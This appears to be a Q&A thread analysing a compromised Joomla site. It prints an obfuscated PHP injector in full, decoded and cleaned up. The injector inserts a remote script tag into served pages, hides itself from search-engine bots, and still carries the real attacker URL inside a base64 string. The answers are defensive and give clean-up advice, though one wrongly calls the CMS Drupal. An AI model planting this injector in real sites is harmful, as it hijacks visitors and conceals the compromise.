mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) );
}
} else {
// If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $mosConfig_live_site .'/index.php' );
} else {
mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) );
}
}
} else if ($option == 'logout') {
$mainframe->logout();
// JS Popup message
if ( $message ) {
?>
<script language="javascript" type="text/javascript">
<!--//
alert( "<?php echo addslashes( _LOGOUT_SUCCESS ); ?>" );
//-->
</script>
<?php
}
if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
// checks for the presence of a return url
// and ensures that this url is not the registration or logout pages
mosRedirect( $return );
} else {
mosRedirect( $mosConfig_live_site.'/index.php' );
}
} else if ($option == 'cookiecheck') {
// No cookie was set upon login. If it is set now, redirect to the given page. Otherwise, show error message.
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $return );
} else {
mosErrorAlert( _ALERT_ENABLED );
}
}
/** get the information about the current user from the sessions table */
$my = $mainframe->getUser();
// detect first visit
$mainframe->detect();
// set for overlib check
$mainframe->set( 'loadOverlib', false );
$gid = intval( $my->gid );
// gets template for page
$cur_template = $mainframe->getTemplate();
/** temp fix - this feature is currently disabled */
/** #global A places to store information from processing of the component */
$_MOS_OPTION = array();
// precapture the output of the component
require_once( $mosConfig_absolute_path . '/editor/editor.php' );
ob_start();
if ($path = $mainframe->getPath( 'front' )) {
$task = strval( mosGetParam( $_REQUEST, 'task', '' ) );
$ret = mosMenuCheck( $Itemid, $option, $task, $gid );
if ($ret) {
require_once( $path );
} else {
mosNotAuth();
}
} else {
header( 'HTTP/1.0 404 Not Found' );
echo _NOT_EXIST;
}
$_MOS_OPTION['buffer'] = ob_get_contents();
ob_end_clean();
initGzip();
header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );
// display the offline alert if an admin is logged in
if (defined( '_ADMIN_OFFLINE' )) {
include( $mosConfig_absolute_path .'/offlinebar.php' );
}
// loads template file
if ( !file_exists( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' ) ) {
echo _TEMPLATE_WARN . $cur_template;
} else {
require_once( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' );
echo '<!-- '. time() .' -->';
}
// displays queries performed for page
if ($mosConfig_debug) {
echo $database->_ticker . ' queries executed';
echo '<pre>';
foreach ($database->_log as $k=>$sql) {
echo $k+1 . "\n" . $sql . '<hr />';
}
echo '</pre>';
}
doGzip();
?>
That bit at the beginning with the exec(base64_decode()) nonsense is your target. Not a part of your CMS, skeezy as hell.
Delete it and rejoice. And then update the Drupal instance, change the root and user passwords, and subscribe to Drupal dev's update RSS so you can stop this happening again.
So assuming you want to understand how that single line works, I went and decoded the base 64 string that is being evaluated as PHP code. It gives the following code
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){$GLOBALS['mr_no']=1;if(!function_exists('mrobh')){if(!function_exists('gml')){function gml(){if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&&(!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");}return "";}}if(!function_exists('gzdecode')){function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){$R30B2AB8DC1496D06B230A71D8962AF5D=#ord(#substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));$RBE4C4D037E939226F65812885A53DAD9=10;$RA3D52E52A48936CDE0F5356BB08652F2=0;if($R30B2AB8DC1496D06B230A71D8962AF5D&4){$R63BEDE6B19266D4EFEAD07A4D91E29EB=#unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));$R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];$RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;}if($R30B2AB8DC1496D06B230A71D8962AF5D&8){$RBE4C4D037E939226F65812885A53DAD9=#strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&16){$RBE4C4D037E939226F65812885A53DAD9=#strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&2){$RBE4C4D037E939226F65812885A53DAD9+=2;}$R034AE2AB94F99CC81B389A1822DA3353=#gzinflate(#substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9));if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){$R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;}return $R034AE2AB94F99CC81B389A1822DA3353;}}function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){Header('Content-Encoding: none');$RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);}else{return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();}}ob_start('mrobh');}}
All the whitespace is stripped from it and the variables have names like $RA179ABD3A7B9E28C369F7B59C51B81DE. After cleaning this up a bit, the code looks as follows:
<?php
if (function_exists('ob_start') && !isset($GLOBALS['mr_no'])) {
$GLOBALS['mr_no'] = 1;
if (!function_exists('mrobh')) {
if (!function_exists('gml')) {
function gml()
{
if (!stristr($_SERVER["HTTP_USER_AGENT"], "googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"], "yahoo"))) {
return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");
}
return "";
}
}
if (!function_exists('gzdecode')) {
function gzdecode($encoded)
{
$bitmask = #ord(#substr($encoded, 3, 1));
$ten = 10;
$zero = 0;
if ($bitmask & 4) {
$temp = #unpack('v', substr($encoded, 10, 2));
$temp = $temp[1];
$ten += 2 + $temp;
}
if ($bitmask & 8) {
$ten = #strpos($encoded, chr(0) , $ten) + 1;
}
if ($bitmask & 16) {
$ten = #strpos($encoded, chr(0) , $ten) + 1;
}
if ($bitmask & 2) {
$ten+= 2;
}
$inflated = #gzinflate(#substr($encoded, $ten));
if ($inflated === FALSE) {
$inflated = $encoded;
}
return $inflated;
}
}
function mrobh($input)
{
Header('Content-Encoding: none');
$decoded = gzdecode($input);
if (preg_match('/\<\/body/si', $decoded)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n" . '$1', $decoded);
}
else {
return $decoded . gml();
}
}
ob_start('mrobh');
}
}
A lot of this code consists of guards: a global is set so that the code is executed only once, even if the statement would occur multiple times, and it makes sure that all the functions are defined once and exactly once.
The crux is in the final line: it uses the ob_start function to make sure that the mrobh function is executed
when the output buffer is flushed (sent) or cleaned (with ob_flush(), ob_clean() or similar function) or when the output buffer is flushed to the browser at the end of the request.
This means that instead of outputting the result of the original script directly, all the generated output is buffered and passed to mrobh at the end.
Note how the original script ends with doGzip();, so all the HTML that the mrobh function receives is gzipped. Hence, the first thing it needs to do is decode it, which is where the gzdecode function comes in. After that $decode has the plain HTML output of the default Joomla script, which probably has a <html> tag with a <head> and a <body>. In that case, there should also be a </body> tag. In the final if statement, that closing tag is replaced by the output of the gml() function. That function again decodes a base 64 string, which turns out to be
<script src="http://***URL censored***"></script>
so instead of
regular output...
</body>
</html>
the end of the output now looks like
regular output...
<script src="http://***URL censored***"></script>
</body>
</html>
so that the script at that URL will be loaded as the browser parses the returned HTML.
Note that the gml function has an additional guard to make sure that whenever Google or Yahoo bots visit the page, the redirect does not take place - these search engines would detect that something malicious is going on and warn the user (if the user uses Chrome, even before actually visiting the page). The else clause in mrobh is just another safeguard in case the HTML does not contain a </body> tag - in that case the script tag is just appended at the end of whatever output there is, assuming that the browser will render it as HTML.
So what you end up with is your regular page, with an additional script tag. (Un)fortunately the domain it tries to load the JavaScript from does not seem to exist any longer, so we cannot see what the script did, but since you said users were redirected away from your site, it's safe to assume that it contained some tracking code followed by a
window.location.href = "http://mymaliciouspage";
TL;DR The first line contains the malicious code that cleverly manipulates your page's output to redirect the user (but not any search engine bots).
Solution: Just replace the whole first line with the original <?php (which you still see at the end of the bad code) and you will fix this problem (look into your server security and update Joomla to avoid getting hit again though).
You got hacked. You cannot trust any code on your server anymore. Nuke it. Redeploy your current version. Work on a hotfix to fix the security flaw, e.g. upgrade Joomla to its newest version, and do another deploy.
Just editing your hacked codebase is asking for trouble. Don't do that.
The security issue is still there and you don't know what else got put in place on your server.